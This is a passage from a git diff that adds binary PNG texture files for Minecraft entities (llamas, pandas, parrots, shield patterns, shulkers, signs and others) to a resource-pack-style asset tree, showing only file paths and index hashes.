a/src/assets/minecraft/textures/entity/llama/brown.png b/src/assets/minecraft/textures/entity/llama/brown.png new file mode 100644 index 00000000..10991376 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/brown.png differ diff --git a/src/assets/minecraft/textures/entity/llama/creamy.png b/src/assets/minecraft/textures/entity/llama/creamy.png new file mode 100644 index 00000000..5a4b6877 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/creamy.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/black.png b/src/assets/minecraft/textures/entity/llama/decor/black.png new file mode 100644 index 00000000..92387637 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/black.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/blue.png b/src/assets/minecraft/textures/entity/llama/decor/blue.png new file mode 100644 index 00000000..bf7762e1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/blue.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/brown.png b/src/assets/minecraft/textures/entity/llama/decor/brown.png new file mode 100644 index 00000000..03a80e12 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/brown.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/cyan.png b/src/assets/minecraft/textures/entity/llama/decor/cyan.png new file mode 100644 index 00000000..f149b9cd Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/cyan.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/gray.png b/src/assets/minecraft/textures/entity/llama/decor/gray.png new file mode 100644 index 00000000..a2f1b4f0 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/gray.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/green.png b/src/assets/minecraft/textures/entity/llama/decor/green.png new file mode 100644 index 00000000..732d7ec1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/green.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/light_blue.png b/src/assets/minecraft/textures/entity/llama/decor/light_blue.png new file mode 100644 index 00000000..500a404f Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/light_blue.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/light_gray.png b/src/assets/minecraft/textures/entity/llama/decor/light_gray.png new file mode 100644 index 00000000..4a89b3a5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/light_gray.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/lime.png b/src/assets/minecraft/textures/entity/llama/decor/lime.png new file mode 100644 index 00000000..238eff41 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/lime.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/magenta.png b/src/assets/minecraft/textures/entity/llama/decor/magenta.png new file mode 100644 index 00000000..0ff23355 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/magenta.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/orange.png b/src/assets/minecraft/textures/entity/llama/decor/orange.png new file mode 100644 index 00000000..5b24951a Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/orange.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/pink.png b/src/assets/minecraft/textures/entity/llama/decor/pink.png new file mode 100644 index 00000000..897ba65d Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/pink.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/purple.png b/src/assets/minecraft/textures/entity/llama/decor/purple.png new file mode 100644 index 00000000..308adbec Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/purple.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/red.png b/src/assets/minecraft/textures/entity/llama/decor/red.png new file mode 100644 index 00000000..1b83dc37 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/red.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/trader_llama.png b/src/assets/minecraft/textures/entity/llama/decor/trader_llama.png new file mode 100644 index 00000000..61f28eb3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/trader_llama.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/white.png b/src/assets/minecraft/textures/entity/llama/decor/white.png new file mode 100644 index 00000000..c8cf1761 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/white.png differ diff --git a/src/assets/minecraft/textures/entity/llama/decor/yellow.png b/src/assets/minecraft/textures/entity/llama/decor/yellow.png new file mode 100644 index 00000000..64144cf5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/decor/yellow.png differ diff --git a/src/assets/minecraft/textures/entity/llama/gray.png b/src/assets/minecraft/textures/entity/llama/gray.png new file mode 100644 index 00000000..3e170d11 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/gray.png differ diff --git a/src/assets/minecraft/textures/entity/llama/spit.png b/src/assets/minecraft/textures/entity/llama/spit.png new file mode 100644 index 00000000..fdcc4b12 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/spit.png differ diff --git a/src/assets/minecraft/textures/entity/llama/white.png b/src/assets/minecraft/textures/entity/llama/white.png new file mode 100644 index 00000000..d84fe157 Binary files /dev/null and b/src/assets/minecraft/textures/entity/llama/white.png differ diff --git a/src/assets/minecraft/textures/entity/minecart.png b/src/assets/minecraft/textures/entity/minecart.png new file mode 100644 index 00000000..5ca94c00 Binary files /dev/null and b/src/assets/minecraft/textures/entity/minecart.png differ diff --git a/src/assets/minecraft/textures/entity/panda/aggressive_panda.png b/src/assets/minecraft/textures/entity/panda/aggressive_panda.png new file mode 100644 index 00000000..5a6291b6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/aggressive_panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/brown_panda.png b/src/assets/minecraft/textures/entity/panda/brown_panda.png new file mode 100644 index 00000000..cc51cc78 Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/brown_panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/lazy_panda.png b/src/assets/minecraft/textures/entity/panda/lazy_panda.png new file mode 100644 index 00000000..7221b32b Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/lazy_panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/panda.png b/src/assets/minecraft/textures/entity/panda/panda.png new file mode 100644 index 00000000..a2be86bd Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/playful_panda.png b/src/assets/minecraft/textures/entity/panda/playful_panda.png new file mode 100644 index 00000000..99f667c9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/playful_panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/weak_panda.png b/src/assets/minecraft/textures/entity/panda/weak_panda.png new file mode 100644 index 00000000..c7b318f2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/weak_panda.png differ diff --git a/src/assets/minecraft/textures/entity/panda/worried_panda.png b/src/assets/minecraft/textures/entity/panda/worried_panda.png new file mode 100644 index 00000000..b4247d96 Binary files /dev/null and b/src/assets/minecraft/textures/entity/panda/worried_panda.png differ diff --git a/src/assets/minecraft/textures/entity/parrot/parrot_blue.png b/src/assets/minecraft/textures/entity/parrot/parrot_blue.png new file mode 100644 index 00000000..ae93edf4 Binary files /dev/null and b/src/assets/minecraft/textures/entity/parrot/parrot_blue.png differ diff --git a/src/assets/minecraft/textures/entity/parrot/parrot_green.png b/src/assets/minecraft/textures/entity/parrot/parrot_green.png new file mode 100644 index 00000000..efa83d91 Binary files /dev/null and b/src/assets/minecraft/textures/entity/parrot/parrot_green.png differ diff --git a/src/assets/minecraft/textures/entity/parrot/parrot_grey.png b/src/assets/minecraft/textures/entity/parrot/parrot_grey.png new file mode 100644 index 00000000..8de45ef5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/parrot/parrot_grey.png differ diff --git a/src/assets/minecraft/textures/entity/parrot/parrot_red_blue.png b/src/assets/minecraft/textures/entity/parrot/parrot_red_blue.png new file mode 100644 index 00000000..32878086 Binary files /dev/null and b/src/assets/minecraft/textures/entity/parrot/parrot_red_blue.png differ diff --git a/src/assets/minecraft/textures/entity/parrot/parrot_yellow_blue.png b/src/assets/minecraft/textures/entity/parrot/parrot_yellow_blue.png new file mode 100644 index 00000000..91e54255 Binary files /dev/null and b/src/assets/minecraft/textures/entity/parrot/parrot_yellow_blue.png differ diff --git a/src/assets/minecraft/textures/entity/phantom.png b/src/assets/minecraft/textures/entity/phantom.png new file mode 100644 index 00000000..1d0945de Binary files /dev/null and b/src/assets/minecraft/textures/entity/phantom.png differ diff --git a/src/assets/minecraft/textures/entity/phantom_eyes.png b/src/assets/minecraft/textures/entity/phantom_eyes.png new file mode 100644 index 00000000..4fa35bd6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/phantom_eyes.png differ diff --git a/src/assets/minecraft/textures/entity/pig/pig.png b/src/assets/minecraft/textures/entity/pig/pig.png new file mode 100644 index 00000000..76432691 Binary files /dev/null and b/src/assets/minecraft/textures/entity/pig/pig.png differ diff --git a/src/assets/minecraft/textures/entity/pig/pig_saddle.png b/src/assets/minecraft/textures/entity/pig/pig_saddle.png new file mode 100644 index 00000000..c7e2de89 Binary files /dev/null and b/src/assets/minecraft/textures/entity/pig/pig_saddle.png differ diff --git a/src/assets/minecraft/textures/entity/piglin/piglin.png b/src/assets/minecraft/textures/entity/piglin/piglin.png new file mode 100644 index 00000000..f93df815 Binary files /dev/null and b/src/assets/minecraft/textures/entity/piglin/piglin.png differ diff --git a/src/assets/minecraft/textures/entity/piglin/piglin_brute.png b/src/assets/minecraft/textures/entity/piglin/piglin_brute.png new file mode 100644 index 00000000..9e84d143 Binary files /dev/null and b/src/assets/minecraft/textures/entity/piglin/piglin_brute.png differ diff --git a/src/assets/minecraft/textures/entity/piglin/zombified_piglin.png b/src/assets/minecraft/textures/entity/piglin/zombified_piglin.png new file mode 100644 index 00000000..aea5eb5f Binary files /dev/null and b/src/assets/minecraft/textures/entity/piglin/zombified_piglin.png differ diff --git a/src/assets/minecraft/textures/entity/projectiles/arrow.png b/src/assets/minecraft/textures/entity/projectiles/arrow.png new file mode 100644 index 00000000..b1214231 Binary files /dev/null and b/src/assets/minecraft/textures/entity/projectiles/arrow.png differ diff --git a/src/assets/minecraft/textures/entity/projectiles/spectral_arrow.png b/src/assets/minecraft/textures/entity/projectiles/spectral_arrow.png new file mode 100644 index 00000000..22a9d00b Binary files /dev/null and b/src/assets/minecraft/textures/entity/projectiles/spectral_arrow.png differ diff --git a/src/assets/minecraft/textures/entity/projectiles/tipped_arrow.png b/src/assets/minecraft/textures/entity/projectiles/tipped_arrow.png new file mode 100644 index 00000000..b1214231 Binary files /dev/null and b/src/assets/minecraft/textures/entity/projectiles/tipped_arrow.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/black.png b/src/assets/minecraft/textures/entity/rabbit/black.png new file mode 100644 index 00000000..afb0fbc4 Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/black.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/brown.png b/src/assets/minecraft/textures/entity/rabbit/brown.png new file mode 100644 index 00000000..b8dc8ccc Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/brown.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/caerbannog.png b/src/assets/minecraft/textures/entity/rabbit/caerbannog.png new file mode 100644 index 00000000..409a4fc3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/caerbannog.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/gold.png b/src/assets/minecraft/textures/entity/rabbit/gold.png new file mode 100644 index 00000000..6f649f85 Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/gold.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/salt.png b/src/assets/minecraft/textures/entity/rabbit/salt.png new file mode 100644 index 00000000..5afe309e Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/salt.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/toast.png b/src/assets/minecraft/textures/entity/rabbit/toast.png new file mode 100644 index 00000000..56c66678 Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/toast.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/white.png b/src/assets/minecraft/textures/entity/rabbit/white.png new file mode 100644 index 00000000..a0ea1a15 Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/white.png differ diff --git a/src/assets/minecraft/textures/entity/rabbit/white_splotched.png b/src/assets/minecraft/textures/entity/rabbit/white_splotched.png new file mode 100644 index 00000000..3cd3cdfe Binary files /dev/null and b/src/assets/minecraft/textures/entity/rabbit/white_splotched.png differ diff --git a/src/assets/minecraft/textures/entity/sheep/sheep.png b/src/assets/minecraft/textures/entity/sheep/sheep.png new file mode 100644 index 00000000..a71426f2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/sheep/sheep.png differ diff --git a/src/assets/minecraft/textures/entity/sheep/sheep_fur.png b/src/assets/minecraft/textures/entity/sheep/sheep_fur.png new file mode 100644 index 00000000..3af58457 Binary files /dev/null and b/src/assets/minecraft/textures/entity/sheep/sheep_fur.png differ diff --git a/src/assets/minecraft/textures/entity/shield/base.png b/src/assets/minecraft/textures/entity/shield/base.png new file mode 100644 index 00000000..263b3683 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/base.png differ diff --git a/src/assets/minecraft/textures/entity/shield/border.png b/src/assets/minecraft/textures/entity/shield/border.png new file mode 100644 index 00000000..2960341e Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/border.png differ diff --git a/src/assets/minecraft/textures/entity/shield/bricks.png b/src/assets/minecraft/textures/entity/shield/bricks.png new file mode 100644 index 00000000..58b21f03 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/bricks.png differ diff --git a/src/assets/minecraft/textures/entity/shield/circle.png b/src/assets/minecraft/textures/entity/shield/circle.png new file mode 100644 index 00000000..ac4d0198 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/circle.png differ diff --git a/src/assets/minecraft/textures/entity/shield/creeper.png b/src/assets/minecraft/textures/entity/shield/creeper.png new file mode 100644 index 00000000..d12cac6a Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/creeper.png differ diff --git a/src/assets/minecraft/textures/entity/shield/cross.png b/src/assets/minecraft/textures/entity/shield/cross.png new file mode 100644 index 00000000..5eccacf5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/cross.png differ diff --git a/src/assets/minecraft/textures/entity/shield/curly_border.png b/src/assets/minecraft/textures/entity/shield/curly_border.png new file mode 100644 index 00000000..180bf81e Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/curly_border.png differ diff --git a/src/assets/minecraft/textures/entity/shield/diagonal_left.png b/src/assets/minecraft/textures/entity/shield/diagonal_left.png new file mode 100644 index 00000000..245ee154 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/diagonal_left.png differ diff --git a/src/assets/minecraft/textures/entity/shield/diagonal_right.png b/src/assets/minecraft/textures/entity/shield/diagonal_right.png new file mode 100644 index 00000000..d4556e1b Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/diagonal_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/diagonal_up_left.png b/src/assets/minecraft/textures/entity/shield/diagonal_up_left.png new file mode 100644 index 00000000..3bf05fab Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/diagonal_up_left.png differ diff --git a/src/assets/minecraft/textures/entity/shield/diagonal_up_right.png b/src/assets/minecraft/textures/entity/shield/diagonal_up_right.png new file mode 100644 index 00000000..3408349f Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/diagonal_up_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/flower.png b/src/assets/minecraft/textures/entity/shield/flower.png new file mode 100644 index 00000000..c6668ba8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/flower.png differ diff --git a/src/assets/minecraft/textures/entity/shield/globe.png b/src/assets/minecraft/textures/entity/shield/globe.png new file mode 100644 index 00000000..13c03860 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/globe.png differ diff --git a/src/assets/minecraft/textures/entity/shield/gradient.png b/src/assets/minecraft/textures/entity/shield/gradient.png new file mode 100644 index 00000000..97c97772 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/gradient.png differ diff --git a/src/assets/minecraft/textures/entity/shield/gradient_up.png b/src/assets/minecraft/textures/entity/shield/gradient_up.png new file mode 100644 index 00000000..7f78720a Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/gradient_up.png differ diff --git a/src/assets/minecraft/textures/entity/shield/half_horizontal.png b/src/assets/minecraft/textures/entity/shield/half_horizontal.png new file mode 100644 index 00000000..e3a0f235 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/half_horizontal.png differ diff --git a/src/assets/minecraft/textures/entity/shield/half_horizontal_bottom.png b/src/assets/minecraft/textures/entity/shield/half_horizontal_bottom.png new file mode 100644 index 00000000..1f041d3f Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/half_horizontal_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/shield/half_vertical.png b/src/assets/minecraft/textures/entity/shield/half_vertical.png new file mode 100644 index 00000000..c0a2db49 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/half_vertical.png differ diff --git a/src/assets/minecraft/textures/entity/shield/half_vertical_right.png b/src/assets/minecraft/textures/entity/shield/half_vertical_right.png new file mode 100644 index 00000000..5e4d8004 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/half_vertical_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/mojang.png b/src/assets/minecraft/textures/entity/shield/mojang.png new file mode 100644 index 00000000..a5bac0c3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/mojang.png differ diff --git a/src/assets/minecraft/textures/entity/shield/piglin.png b/src/assets/minecraft/textures/entity/shield/piglin.png new file mode 100644 index 00000000..756854d3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/piglin.png differ diff --git a/src/assets/minecraft/textures/entity/shield/rhombus.png b/src/assets/minecraft/textures/entity/shield/rhombus.png new file mode 100644 index 00000000..3bcd07fa Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/rhombus.png differ diff --git a/src/assets/minecraft/textures/entity/shield/skull.png b/src/assets/minecraft/textures/entity/shield/skull.png new file mode 100644 index 00000000..82f1992e Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/skull.png differ diff --git a/src/assets/minecraft/textures/entity/shield/small_stripes.png b/src/assets/minecraft/textures/entity/shield/small_stripes.png new file mode 100644 index 00000000..0c9b3388 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/small_stripes.png differ diff --git a/src/assets/minecraft/textures/entity/shield/square_bottom_left.png b/src/assets/minecraft/textures/entity/shield/square_bottom_left.png new file mode 100644 index 00000000..d7e79e8d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/square_bottom_left.png differ diff --git a/src/assets/minecraft/textures/entity/shield/square_bottom_right.png b/src/assets/minecraft/textures/entity/shield/square_bottom_right.png new file mode 100644 index 00000000..83092c82 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/square_bottom_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/square_top_left.png b/src/assets/minecraft/textures/entity/shield/square_top_left.png new file mode 100644 index 00000000..b5baa116 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/square_top_left.png differ diff --git a/src/assets/minecraft/textures/entity/shield/square_top_right.png b/src/assets/minecraft/textures/entity/shield/square_top_right.png new file mode 100644 index 00000000..53d89f62 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/square_top_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/straight_cross.png b/src/assets/minecraft/textures/entity/shield/straight_cross.png new file mode 100644 index 00000000..22c14d9b Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/straight_cross.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_bottom.png b/src/assets/minecraft/textures/entity/shield/stripe_bottom.png new file mode 100644 index 00000000..b409ec31 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_center.png b/src/assets/minecraft/textures/entity/shield/stripe_center.png new file mode 100644 index 00000000..791d9f54 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_center.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_downleft.png b/src/assets/minecraft/textures/entity/shield/stripe_downleft.png new file mode 100644 index 00000000..8bedb221 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_downleft.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_downright.png b/src/assets/minecraft/textures/entity/shield/stripe_downright.png new file mode 100644 index 00000000..4be982a7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_downright.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_left.png b/src/assets/minecraft/textures/entity/shield/stripe_left.png new file mode 100644 index 00000000..cafc50e7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_left.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_middle.png b/src/assets/minecraft/textures/entity/shield/stripe_middle.png new file mode 100644 index 00000000..d704592c Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_middle.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_right.png b/src/assets/minecraft/textures/entity/shield/stripe_right.png new file mode 100644 index 00000000..1df94668 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_right.png differ diff --git a/src/assets/minecraft/textures/entity/shield/stripe_top.png b/src/assets/minecraft/textures/entity/shield/stripe_top.png new file mode 100644 index 00000000..3b80f86d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/stripe_top.png differ diff --git a/src/assets/minecraft/textures/entity/shield/triangle_bottom.png b/src/assets/minecraft/textures/entity/shield/triangle_bottom.png new file mode 100644 index 00000000..16c41754 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/triangle_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/shield/triangle_top.png b/src/assets/minecraft/textures/entity/shield/triangle_top.png new file mode 100644 index 00000000..2fbbf788 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/triangle_top.png differ diff --git a/src/assets/minecraft/textures/entity/shield/triangles_bottom.png b/src/assets/minecraft/textures/entity/shield/triangles_bottom.png new file mode 100644 index 00000000..4e1d0998 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/triangles_bottom.png differ diff --git a/src/assets/minecraft/textures/entity/shield/triangles_top.png b/src/assets/minecraft/textures/entity/shield/triangles_top.png new file mode 100644 index 00000000..0fdcd09b Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield/triangles_top.png differ diff --git a/src/assets/minecraft/textures/entity/shield_base.png b/src/assets/minecraft/textures/entity/shield_base.png new file mode 100644 index 00000000..8015a92b Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield_base.png differ diff --git a/src/assets/minecraft/textures/entity/shield_base_nopattern.png b/src/assets/minecraft/textures/entity/shield_base_nopattern.png new file mode 100644 index 00000000..7011454d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shield_base_nopattern.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker.png b/src/assets/minecraft/textures/entity/shulker/shulker.png new file mode 100644 index 00000000..d21605ab Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_black.png b/src/assets/minecraft/textures/entity/shulker/shulker_black.png new file mode 100644 index 00000000..2800401d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_black.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_blue.png b/src/assets/minecraft/textures/entity/shulker/shulker_blue.png new file mode 100644 index 00000000..1c4244fd Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_blue.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_brown.png b/src/assets/minecraft/textures/entity/shulker/shulker_brown.png new file mode 100644 index 00000000..9237440b Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_brown.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_cyan.png b/src/assets/minecraft/textures/entity/shulker/shulker_cyan.png new file mode 100644 index 00000000..13b82557 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_cyan.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_gray.png b/src/assets/minecraft/textures/entity/shulker/shulker_gray.png new file mode 100644 index 00000000..f365c6af Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_gray.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_green.png b/src/assets/minecraft/textures/entity/shulker/shulker_green.png new file mode 100644 index 00000000..b09b655d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_green.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_light_blue.png b/src/assets/minecraft/textures/entity/shulker/shulker_light_blue.png new file mode 100644 index 00000000..6646995c Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_light_blue.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_light_gray.png b/src/assets/minecraft/textures/entity/shulker/shulker_light_gray.png new file mode 100644 index 00000000..d709f7ae Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_light_gray.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_lime.png b/src/assets/minecraft/textures/entity/shulker/shulker_lime.png new file mode 100644 index 00000000..e02f983d Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_lime.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_magenta.png b/src/assets/minecraft/textures/entity/shulker/shulker_magenta.png new file mode 100644 index 00000000..a713f81a Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_magenta.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_orange.png b/src/assets/minecraft/textures/entity/shulker/shulker_orange.png new file mode 100644 index 00000000..1ebf1482 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_orange.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_pink.png b/src/assets/minecraft/textures/entity/shulker/shulker_pink.png new file mode 100644 index 00000000..1cac5170 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_pink.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_purple.png b/src/assets/minecraft/textures/entity/shulker/shulker_purple.png new file mode 100644 index 00000000..48fc2864 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_purple.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_red.png b/src/assets/minecraft/textures/entity/shulker/shulker_red.png new file mode 100644 index 00000000..c80c499f Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_red.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_white.png b/src/assets/minecraft/textures/entity/shulker/shulker_white.png new file mode 100644 index 00000000..6b21cac8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_white.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/shulker_yellow.png b/src/assets/minecraft/textures/entity/shulker/shulker_yellow.png new file mode 100644 index 00000000..e23c8988 Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/shulker_yellow.png differ diff --git a/src/assets/minecraft/textures/entity/shulker/spark.png b/src/assets/minecraft/textures/entity/shulker/spark.png new file mode 100644 index 00000000..69315a9e Binary files /dev/null and b/src/assets/minecraft/textures/entity/shulker/spark.png differ diff --git a/src/assets/minecraft/textures/entity/signs/acacia.png b/src/assets/minecraft/textures/entity/signs/acacia.png new file mode 100644 index 00000000..9f129ddd Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/acacia.png differ diff --git a/src/assets/minecraft/textures/entity/signs/birch.png b/src/assets/minecraft/textures/entity/signs/birch.png new file mode 100644 index 00000000..4379d7b0 Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/birch.png differ diff --git a/src/assets/minecraft/textures/entity/signs/crimson.png b/src/assets/minecraft/textures/entity/signs/crimson.png new file mode 100644 index 00000000..f55fefbe Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/crimson.png differ diff --git a/src/assets/minecraft/textures/entity/signs/dark_oak.png b/src/assets/minecraft/textures/entity/signs/dark_oak.png new file mode 100644 index 00000000..3835f7a2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/dark_oak.png differ diff --git a/src/assets/minecraft/textures/entity/signs/jungle.png b/src/assets/minecraft/textures/entity/signs/jungle.png new file mode 100644 index 00000000..779193d5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/jungle.png differ diff --git a/src/assets/minecraft/textures/entity/signs/oak.png b/src/assets/minecraft/textures/entity/signs/oak.png new file mode 100644 index 00000000..e0f23685 Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/oak.png differ diff --git a/src/assets/minecraft/textures/entity/signs/spruce.png b/src/assets/minecraft/textures/entity/signs/spruce.png new file mode 100644 index 00000000..73a0fdce Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/spruce.png differ diff --git a/src/assets/minecraft/textures/entity/signs/warped.png b/src/assets/minecraft/textures/entity/signs/warped.png new file mode 100644 index 00000000..c6d91397 Binary files /dev/null and b/src/assets/minecraft/textures/entity/signs/warped.png differ diff --git a/src/assets/minecraft/textures/entity/silverfish.png b/src/assets/minecraft/textures/entity/silverfish.png new file mode 100644 index 00000000..54dd997d Binary files /dev/null and 